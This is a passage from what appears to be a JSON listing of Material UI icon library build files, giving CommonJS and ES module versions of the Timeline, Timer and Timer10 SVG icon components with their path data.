    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 8c0 1.1-.9 2-2 2-.18 0-.35-.02-.51-.07l-3.56 3.55c.05.16.07.34.07.52 0 1.1-.9 2-2 2s-2-.9-2-2c0-.18.02-.36.07-.52l-2.55-2.55c-.16.05-.34.07-.52.07s-.36-.02-.52-.07l-4.55 4.56c.05.16.07.33.07.51 0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2c.18 0 .35.02.51.07l4.56-4.55C8.02 9.36 8 9.18 8 9c0-1.1.9-2 2-2s2 .9 2 2c0 .18-.02.36-.07.52l2.55 2.55c.16-.05.34-.07.52-.07s.36.02.52.07l3.55-3.56C19.02 8.35 19 8.18 19 8c0-1.1.9-2 2-2s2 .9 2 2\"\n}), 'Timeline');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timeline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 8c0 1.1-.9 2-2 2-.18 0-.35-.02-.51-.07l-3.56 3.55c.05.16.07.34.07.52 0 1.1-.9 2-2 2s-2-.9-2-2c0-.18.02-.36.07-.52l-2.55-2.55c-.16.05-.34.07-.52.07s-.36-.02-.52-.07l-4.55 4.56c.05.16.07.33.07.51 0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2c.18 0 .35.02.51.07l4.56-4.55C8.02 9.36 8 9.18 8 9c0-1.1.9-2 2-2s2 .9 2 2c0 .18-.02.36-.07.52l2.55 2.55c.16-.05.34-.07.52-.07s.36.02.52.07l3.55-3.56C19.02 8.35 19 8.18 19 8c0-1.1.9-2 2-2s2 .9 2 2\"\n}), 'Timeline');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimelineOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 8c0 1.1-.9 2-2 2-.18 0-.35-.02-.51-.07l-3.56 3.55c.05.16.07.34.07.52 0 1.1-.9 2-2 2s-2-.9-2-2c0-.18.02-.36.07-.52l-2.55-2.55c-.16.05-.34.07-.52.07s-.36-.02-.52-.07l-4.55 4.56c.05.16.07.33.07.51 0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2c.18 0 .35.02.51.07l4.56-4.55C8.02 9.36 8 9.18 8 9c0-1.1.9-2 2-2s2 .9 2 2c0 .18-.02.36-.07.52l2.55 2.55c.16-.05.34-.07.52-.07s.36.02.52.07l3.55-3.56C19.02 8.35 19 8.18 19 8c0-1.1.9-2 2-2s2 .9 2 2\"\n}), 'TimelineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimelineOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 8c0 1.1-.9 2-2 2-.18 0-.35-.02-.51-.07l-3.56 3.55c.05.16.07.34.07.52 0 1.1-.9 2-2 2s-2-.9-2-2c0-.18.02-.36.07-.52l-2.55-2.55c-.16.05-.34.07-.52.07s-.36-.02-.52-.07l-4.55 4.56c.05.16.07.33.07.51 0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2c.18 0 .35.02.51.07l4.56-4.55C8.02 9.36 8 9.18 8 9c0-1.1.9-2 2-2s2 .9 2 2c0 .18-.02.36-.07.52l2.55 2.55c.16-.05.34-.07.52-.07s.36.02.52.07l3.55-3.56C19.02 8.35 19 8.18 19 8c0-1.1.9-2 2-2s2 .9 2 2\"\n}), 'TimelineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimelineRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 8c0 1.1-.9 2-2 2-.18 0-.35-.02-.51-.07l-3.56 3.55c.05.16.07.34.07.52 0 1.1-.9 2-2 2s-2-.9-2-2c0-.18.02-.36.07-.52l-2.55-2.55c-.16.05-.34.07-.52.07s-.36-.02-.52-.07l-4.55 4.56c.05.16.07.33.07.51 0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2c.18 0 .35.02.51.07l4.56-4.55C8.02 9.36 8 9.18 8 9c0-1.1.9-2 2-2s2 .9 2 2c0 .18-.02.36-.07.52l2.55 2.55c.16-.05.34-.07.52-.07s.36.02.52.07l3.55-3.56C19.02 8.35 19 8.18 19 8c0-1.1.9-2 2-2s2 .9 2 2m0 0c0 1.1-.9 2-2 2-.18 0-.35-.02-.51-.07l-3.56 3.55c.05.16.07.34.07.52 0 1.1-.9 2-2 2s-2-.9-2-2c0-.18.02-.36.07-.52l-2.55-2.55c-.16.05-.34.07-.52.07s-.36-.02-.52-.07l-4.55 4.56c.05.16.07.33.07.51 0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2c.18 0 .35.02.51.07l4.56-4.55C8.02 9.36 8 9.18 8 9c0-1.1.9-2 2-2s2 .9 2 2c0 .18-.02.36-.07.52l2.55 2.55c.16-.05.34-.07.52-.07s.36.02.52.07l3.55-3.56C19.02 8.35 19 8.18 19 8c0-1.1.9-2 2-2s2 .9 2 2\"\n}), 'TimelineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimelineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 8c0 1.1-.9 2-2 2-.18 0-.35-.02-.51-.07l-3.56 3.55c.05.16.07.34.07.52 0 1.1-.9 2-2 2s-2-.9-2-2c0-.18.02-.36.07-.52l-2.55-2.55c-.16.05-.34.07-.52.07s-.36-.02-.52-.07l-4.55 4.56c.05.16.07.33.07.51 0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2c.18 0 .35.02.51.07l4.56-4.55C8.02 9.36 8 9.18 8 9c0-1.1.9-2 2-2s2 .9 2 2c0 .18-.02.36-.07.52l2.55 2.55c.16-.05.34-.07.52-.07s.36.02.52.07l3.55-3.56C19.02 8.35 19 8.18 19 8c0-1.1.9-2 2-2s2 .9 2 2m0 0c0 1.1-.9 2-2 2-.18 0-.35-.02-.51-.07l-3.56 3.55c.05.16.07.34.07.52 0 1.1-.9 2-2 2s-2-.9-2-2c0-.18.02-.36.07-.52l-2.55-2.55c-.16.05-.34.07-.52.07s-.36-.02-.52-.07l-4.55 4.56c.05.16.07.33.07.51 0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2c.18 0 .35.02.51.07l4.56-4.55C8.02 9.36 8 9.18 8 9c0-1.1.9-2 2-2s2 .9 2 2c0 .18-.02.36-.07.52l2.55 2.55c.16-.05.34-.07.52-.07s.36.02.52.07l3.55-3.56C19.02 8.35 19 8.18 19 8c0-1.1.9-2 2-2s2 .9 2 2\"\n}), 'TimelineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimelineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 8c0 1.1-.9 2-2 2-.18 0-.35-.02-.51-.07l-3.56 3.55c.05.16.07.34.07.52 0 1.1-.9 2-2 2s-2-.9-2-2c0-.18.02-.36.07-.52l-2.55-2.55c-.16.05-.34.07-.52.07s-.36-.02-.52-.07l-4.55 4.56c.05.16.07.33.07.51 0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2c.18 0 .35.02.51.07l4.56-4.55C8.02 9.36 8 9.18 8 9c0-1.1.9-2 2-2s2 .9 2 2c0 .18-.02.36-.07.52l2.55 2.55c.16-.05.34-.07.52-.07s.36.02.52.07l3.55-3.56C19.02 8.35 19 8.18 19 8c0-1.1.9-2 2-2s2 .9 2 2m0 0c0 1.1-.9 2-2 2-.18 0-.35-.02-.51-.07l-3.56 3.55c.05.16.07.34.07.52 0 1.1-.9 2-2 2s-2-.9-2-2c0-.18.02-.36.07-.52l-2.55-2.55c-.16.05-.34.07-.52.07s-.36-.02-.52-.07l-4.55 4.56c.05.16.07.33.07.51 0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2c.18 0 .35.02.51.07l4.56-4.55C8.02 9.36 8 9.18 8 9c0-1.1.9-2 2-2s2 .9 2 2c0 .18-.02.36-.07.52l2.55 2.55c.16-.05.34-.07.52-.07s.36.02.52.07l3.55-3.56C19.02 8.35 19 8.18 19 8c0-1.1.9-2 2-2s2 .9 2 2\"\n}), 'TimelineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimelineSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 8c0 1.1-.9 2-2 2-.18 0-.35-.02-.51-.07l-3.56 3.55c.05.16.07.34.07.52 0 1.1-.9 2-2 2s-2-.9-2-2c0-.18.02-.36.07-.52l-2.55-2.55c-.16.05-.34.07-.52.07s-.36-.02-.52-.07l-4.55 4.56c.05.16.07.33.07.51 0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2c.18 0 .35.02.51.07l4.56-4.55C8.02 9.36 8 9.18 8 9c0-1.1.9-2 2-2s2 .9 2 2c0 .18-.02.36-.07.52l2.55 2.55c.16-.05.34-.07.52-.07s.36.02.52.07l3.55-3.56C19.02 8.35 19 8.18 19 8c0-1.1.9-2 2-2s2 .9 2 2m0 0c0 1.1-.9 2-2 2-.18 0-.35-.02-.51-.07l-3.56 3.55c.05.16.07.34.07.52 0 1.1-.9 2-2 2s-2-.9-2-2c0-.18.02-.36.07-.52l-2.55-2.55c-.16.05-.34.07-.52.07s-.36-.02-.52-.07l-4.55 4.56c.05.16.07.33.07.51 0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2c.18 0 .35.02.51.07l4.56-4.55C8.02 9.36 8 9.18 8 9c0-1.1.9-2 2-2s2 .9 2 2c0 .18-.02.36-.07.52l2.55 2.55c.16-.05.34-.07.52-.07s.36.02.52.07l3.55-3.56C19.02 8.35 19 8.18 19 8c0-1.1.9-2 2-2s2 .9 2 2\"\n}), 'TimelineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimelineTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 8c0 1.1-.9 2-2 2-.18 0-.35-.02-.51-.07l-3.56 3.55c.05.16.07.34.07.52 0 1.1-.9 2-2 2s-2-.9-2-2c0-.18.02-.36.07-.52l-2.55-2.55c-.16.05-.34.07-.52.07s-.36-.02-.52-.07l-4.55 4.56c.05.16.07.33.07.51 0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2c.18 0 .35.02.51.07l4.56-4.55C8.02 9.36 8 9.18 8 9c0-1.1.9-2 2-2s2 .9 2 2c0 .18-.02.36-.07.52l2.55 2.55c.16-.05.34-.07.52-.07s.36.02.52.07l3.55-3.56C19.02 8.35 19 8.18 19 8c0-1.1.9-2 2-2s2 .9 2 2\"\n}), 'TimelineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TimelineTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 8c0 1.1-.9 2-2 2-.18 0-.35-.02-.51-.07l-3.56 3.55c.05.16.07.34.07.52 0 1.1-.9 2-2 2s-2-.9-2-2c0-.18.02-.36.07-.52l-2.55-2.55c-.16.05-.34.07-.52.07s-.36-.02-.52-.07l-4.55 4.56c.05.16.07.33.07.51 0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2c.18 0 .35.02.51.07l4.56-4.55C8.02 9.36 8 9.18 8 9c0-1.1.9-2 2-2s2 .9 2 2c0 .18-.02.36-.07.52l2.55 2.55c.16-.05.34-.07.52-.07s.36.02.52.07l3.55-3.56C19.02 8.35 19 8.18 19 8c0-1.1.9-2 2-2s2 .9 2 2\"\n}), 'TimelineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 1h6v2H9zm10.03 6.39 1.42-1.42c-.43-.51-.9-.99-1.41-1.41l-1.42 1.42C16.07 4.74 14.12 4 12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9 9-4.03 9-9c0-2.12-.74-4.07-1.97-5.61M13 14h-2V8h2z\"\n}), 'Timer');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 1h6v2H9zm10.03 6.39 1.42-1.42c-.43-.51-.9-.99-1.41-1.41l-1.42 1.42C16.07 4.74 14.12 4 12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9 9-4.03 9-9c0-2.12-.74-4.07-1.97-5.61M13 14h-2V8h2z\"\n}), 'Timer');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer10.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M0 7.72V9.4l3-1V18h2V6h-.25zm23.78 6.65c-.14-.28-.35-.53-.63-.74s-.61-.39-1.01-.53-.85-.27-1.35-.38c-.35-.07-.64-.15-.87-.23s-.41-.16-.55-.25-.23-.19-.28-.3-.08-.24-.08-.39c0-.14.03-.28.09-.41s.15-.25.27-.34q.18-.15.45-.24c.27-.09.4-.09.64-.09.25 0 .47.04.66.11s.35.17.48.29.22.26.29.42c.06.16.1.32.1.49h1.95c0-.39-.08-.75-.24-1.09s-.39-.63-.69-.88-.66-.44-1.09-.59S21 9 20.46 9c-.51 0-.98.07-1.39.21s-.77.33-1.06.57-.51.52-.67.84-.23.65-.23 1.01.08.69.23.96c.15.28.36.52.64.73.27.21.6.38.98.53.38.14.81.26 1.27.36.39.08.71.17.95.26s.43.19.57.29c.13.1.22.22.27.34s.07.25.07.39c0 .32-.13.57-.4.77s-.66.29-1.17.29c-.22 0-.43-.02-.64-.08-.21-.05-.4-.13-.56-.24-.17-.11-.3-.26-.41-.44s-.17-.41-.18-.67h-1.89q0 .54.24 1.05c.16.34.39.65.7.93.31.27.69.49 1.15.66s.98.25 1.58.25c.53 0 1.01-.06 1.44-.19q.645-.195 1.11-.54c.31-.23.54-.51.71-.83s.25-.67.25-1.06c-.02-.4-.09-.74-.24-1.02m-9.96-7.32c-.34-.4-.75-.7-1.23-.88-.47-.18-1.01-.27-1.59-.27q-.87 0-1.59.27c-.48.18-.89.47-1.23.88s-.6.93-.79 1.59c-.18.65-.28 1.45-.28 2.39v1.92c0 .94.09 1.74.28 2.39.19.66.45 1.19.8 1.6.34.41.75.71 1.23.89s1.01.28 1.59.28c.59 0 1.12-.09 1.59-.28.48-.18.88-.48 1.22-.89s.6-.94.78-1.6c.18-.65.28-1.45.28-2.39v-1.92c0-.94-.09-1.74-.28-2.39q-.27-.99-.78-1.59m-.92 6.17q0 .9-.12 1.53t-.36 1.02c-.16.26-.36.45-.59.57s-.51.18-.82.18c-.3 0-.58-.06-.82-.18s-.44-.31-.6-.57-.29-.6-.38-1.02-.13-.93-.13-1.53v-2.5c0-.6.04-1.11.13-1.52s.21-.74.38-1c.16-.25.36-.43.6-.55.24-.11.51-.17.81-.17.31 0 .58.06.81.17.24.11.44.29.6.55.16.25.29.58.37.99s.13.92.13 1.52v2.51z\"\n}), 'Timer10');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer10.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M0 7.72V9.4l3-1V18h2V6h-.25zm23.78 6.65c-.14-.28-.35-.53-.63-.74s-.61-.39-1.01-.53-.85-.27-1.35-.38c-.35-.07-.64-.15-.87-.23s-.41-.16-.55-.25-.23-.19-.28-.3-.08-.24-.08-.39c0-.14.03-.28.09-.41s.15-.25.27-.34q.18-.15.45-.24c.27-.09.4-.09.64-.09.25 0 .47.04.66.11s.35.17.48.29.22.26.29.42c.06.16.1.32.1.49h1.95c0-.39-.08-.75-.24-1.09s-.39-.63-.69-.88-.66-.44-1.09-.59S21 9 20.46 9c-.51 0-.98.07-1.39.21s-.77.33-1.06.57-.51.52-.67.84-.23.65-.23 1.01.08.69.23.96c.15.28.36.52.64.73.27.21.6.38.98.53.38.14.81.26 1.27.36.39.08.71.17.95.26s.43.19.57.29c.13.1.22.22.27.34s.07.25.07.39c0 .32-.13.57-.4.77s-.66.29-1.17.29c-.22 0-.43-.02-.64-.08-.21-.05-.4-.13-.56-.24-.17-.11-.3-.26-.41-.44s-.17-.41-.18-.67h-1.89q0 .54.24 1.05c.16.34.39.65.7.93.31.27.69.49 1.15.66s.98.25 1.58.25c.53 0 1.01-.06 1.44-.19q.645-.195 1.11-.54c.31-.23.54-.51.71-.83s.25-.67.25-1.06c-.02-.4-.09-.74-.24-1.02m-9.96-7.32c-.34-.4-.75-.7-1.23-.88-.47-.18-1.01-.27-1.59-.27q-.87 0-1.59.27c-.48.18-.89.47-1.23.88s-.6.93-.79 1.59c-.18.65-.28 1.45-.28 2.39v1.92c0 .94.09 1.74.28 2.39.19.66.45 1.19.8 1.6.34.41.75.71 1.23.89s1.01.28 1.59.28c.59 0 1.12-.09 1.59-.28.48-.18.88-.48 1.22-.89s.6-.94.78-1.6c.18-.65.28-1.45.28-2.39v-1.92c0-.94-.09-1.74-.28-2.39q-.27-.99-.78-1.59m-.92 6.17q0 .9-.12 1.53t-.36 1.02c-.16.26-.36.45-.59.57s-.51.18-.82.18c-.3 0-.58-.06-.82-.18s-.44-.31-.6-.57-.29-.6-.38-1.02-.13-.93-.13-1.53v-2.5c0-.6.04-1.11.13-1.52s.21-.74.38-1c.16-.25.36-.43.6-.55.24-.11.51-.17.81-.17.31 0 .58.06.81.17.24.11.44.29.6.55.16.25.29.58.37.99s.13.92.13 1.52v2.51z\"\n}), 'Timer10');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer10Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M-.01 7.72V9.4l3-1V18h2V6h-.25zm23.78 6.65c-.14-.28-.35-.53-.63-.74s-.61-.39-1.01-.53-.85-.27-1.35-.38c-.35-.07-.64-.15-.87-.23s-.41-.16-.55-.25-.23-.19-.28-.3-.08-.24-.08-.39c0-.14.03-.28.09-.41s.15-.25.27-.34q.18-.15.45-.24c.27-.09.4-.09.64-.09.25 0 .47.04.66.11s.35.17.48.29.22.26.29.42c.06.16.1.32.1.49h1.95c0-.39-.08-.75-.24-1.09s-.39-.63-.69-.88-.66-.44-1.09-.59S20.99 9 20.45 9c-.51 0-.98.07-1.39.21s-.77.33-1.06.57-.51.52-.67.84-.23.65-.23 1.01.08.69.23.96c.15.28.36.52.64.73.27.21.6.38.98.53.38.14.81.26 1.27.36.39.08.71.17.95.26s.43.19.57.29c.13.1.22.22.27.34s.07.25.07.39c0 .32-.13.57-.4.77s-.66.29-1.17.29c-.22 0-.43-.02-.64-.08-.21-.05-.4-.13-.56-.24-.17-.11-.3-.26-.41-.44s-.17-.41-.18-.67h-1.89q0 .54.24 1.05c.24.51.39.65.7.93.31.27.69.49 1.15.66s.98.25 1.58.25c.53 0 1.01-.06 1.44-.19q.645-.195 1.11-.54c.31-.23.54-.51.71-.83s.25-.67.25-1.06c-.02-.4-.09-.74-.24-1.02m-9.96-7.32c-.34-.4-.75-.7-1.23-.88-.47-.18-1.01-.27-1.59-.27s-1.11.09-1.59.27-.89.47-1.23.88-.6.93-.79 1.59c-.18.65-.28 1.45-.28 2.39v1.92c0 .94.09 1.74.28 2.39.19.66.45 1.19.8 1.6.34.41.75.71 1.23.89s1.01.28 1.59.28c.59 0 1.12-.09 1.59-.28.48-.18.88-.48 1.22-.89s.6-.94.78-1.6c.18-.65.28-1.45.28-2.39v-1.92c0-.94-.09-1.74-.28-2.39q-.27-.99-.78-1.59m-.92 6.17q0 .9-.12 1.53c-.12.63-.2.76-.36 1.02s-.36.45-.59.57-.51.18-.82.18c-.3 0-.58-.06-.82-.18s-.44-.31-.6-.57-.29-.6-.38-1.02-.13-.93-.13-1.53v-2.5c0-.6.04-1.11.13-1.52s.21-.74.38-1c.16-.25.36-.43.6-.55.24-.11.51-.17.81-.17.31 0 .58.06.81.17.24.11.44.29.6.55.16.25.29.58.37.99s.13.92.13 1.52v2.51z\"\n}), 'Timer10Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer10Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M-.01 7.72V9.4l3-1V18h2V6h-.25zm23.78 6.65c-.14-.28-.35-.53-.63-.74s-.61-.39-1.01-.53-.85-.27-1.35-.38c-.35-.07-.64-.15-.87-.23s-.41-.16-.55-.25-.23-.19-.28-.3-.08-.24-.08-.39c0-.14.03-.28.09-.41s.15-.25.27-.34q.18-.15.45-.24c.27-.09.4-.09.64-.09.25 0 .47.04.66.11s.35.17.48.29.22.26.29.42c.06.16.1.32.1.49h1.95c0-.39-.08-.75-.24-1.09s-.39-.63-.69-.88-.66-.44-1.09-.59S20.99 9 20.45 9c-.51 0-.98.07-1.39.21s-.77.33-1.06.57-.51.52-.67.84-.23.65-.23 1.01.08.69.23.96c.15.28.36.52.64.73.27.21.6.38.98.53.38.14.81.26 1.27.36.39.08.71.17.95.26s.43.19.57.29c.13.1.22.22.27.34s.07.25.07.39c0 .32-.13.57-.4.77s-.66.29-1.17.29c-.22 0-.43-.02-.64-.08-.21-.05-.4-.13-.56-.24-.17-.11-.3-.26-.41-.44s-.17-.41-.18-.67h-1.89q0 .54.24 1.05c.24.51.39.65.7.93.31.27.69.49 1.15.66s.98.25 1.58.25c.53 0 1.01-.06 1.44-.19q.645-.195 1.11-.54c.31-.23.54-.51.71-.83s.25-.67.25-1.06c-.02-.4-.09-.74-.24-1.02m-9.96-7.32c-.34-.4-.75-.7-1.23-.88-.47-.18-1.01-.27-1.59-.27s-1.11.09-1.59.27-.89.47-1.23.88-.6.93-.79 1.59c-.18.65-.28 1.45-.28 2.39v1.92c0 .94.09 1.74.28 2.39.19.66.45 1.19.8 1.6.34.41.75.71 1.23.89s1.01.28 1.59.28c.59 0 1.12-.09 1.59-.28.48-.18.88-.48 1.22-.89s.6-.94.78-1.6c.18-.65.28-1.45.28-2.39v-1.92c0-.94-.09-1.74-.28-2.39q-.27-.99-.78-1.59m-.92 6.17q0 .9-.12 1.53c-.12.63-.2.76-.36 1.02s-.36.45-.59.57-.51.18-.82.18c-.3 0-.58-.06-.82-.18s-.44-.31-.6-.57-.29-.6-.38-1.02-.13-.93-.13-1.53v-2.5c0-.6.04-1.11.13-1.52s.21-.74.38-1c.16-.25.36-.43.6-.55.24-.11.51-.17.81-.17.31 0 .58.06.81.17.24.11.44.29.6.55.16.25.29.58.37.99s.13.92.13 1.52v2.51z\"\n}), 'Timer10Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer10Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M-.01 7.72V9.4l3-1V18h2V6h-.25zm23.78 6.65c-.14-.28-.35-.53-.63-.74s-.61-.39-1.01-.53-.85-.27-1.35-.38c-.35-.07-.64-.15-.87-.23s-.41-.16-.55-.25-.23-.19-.28-.3-.08-.24-.08-.39c0-.14.03-.28.09-.41s.15-.25.27-.34q.18-.15.45-.24c.27-.09.4-.09.64-.09.25 0 .47.04.66.11s.35.17.48.29.22.26.29.42c.06.16.1.32.1.49h1.95c0-.39-.08-.75-.24-1.09s-.39-.63-.69-.88-.66-.44-1.09-.59S20.99 9 20.45 9c-.51 0-.98.07-1.39.21s-.77.33-1.06.57-.51.52-.67.84-.23.65-.23 1.01.08.69.23.96c.15.28.36.52.64.73.27.21.6.38.98.53.38.14.81.26 1.27.36.39.08.71.17.95.26s.43.19.57.29c.13.1.22.22.27.34s.07.25.07.39c0 .32-.13.57-.4.77s-.66.29-1.17.29c-.22 0-.43-.02-.64-.08-.21-.05-.4-.13-.56-.24-.17-.11-.3-.26-.41-.44s-.17-.41-.18-.67h-1.89q0 .54.24 1.05c.24.51.39.65.7.93.31.27.69.49 1.15.66s.98.25 1.58.25c.53 0 1.01-.06 1.44-.19q.645-.195 1.11-.54c.31-.23.54-.51.71-.83s.25-.67.25-1.06c-.02-.4-.09-.74-.24-1.02m-9.96-7.32c-.34-.4-.75-.7-1.23-.88-.47-.18-1.01-.27-1.59-.27s-1.11.09-1.59.27-.89.47-1.23.88-.6.93-.79 1.59c-.18.65-.28 1.45-.28 2.39v1.92c0 .94.09 1.74.28 2.39.19.66.45 1.19.8 1.6.34.41.75.71 1.23.89s1.01.28 1.59.28c.59 0 1.12-.09 1.59-.28.48-.18.88-.48 1.22-.89s.6-.94.78-1.6c.18-.65.28-1.45.28-2.39v-1.92c0-.94-.09-1.74-.28-2.39q-.27-.99-.78-1.59m-.92 6.17q0 .9-.12 1.53c-.12.63-.2.76-.36 1.02s-.36.45-.59.57-.51.18-.82.18c-.3 0-.58-.06-.82-.18s-.44-.31-.6-.57-.29-.6-.38-1.02-.13-.93-.13-1.53v-2.5c0-.6.04-1.11.13-1.52s.21-.74.38-1c.16-.25.36-.43.6-.55.24-.11.51-.17.81-.17.31 0 .58.06.81.17.24.11.44.29.6.55.16.25.29.58.37.99s.13.92.13 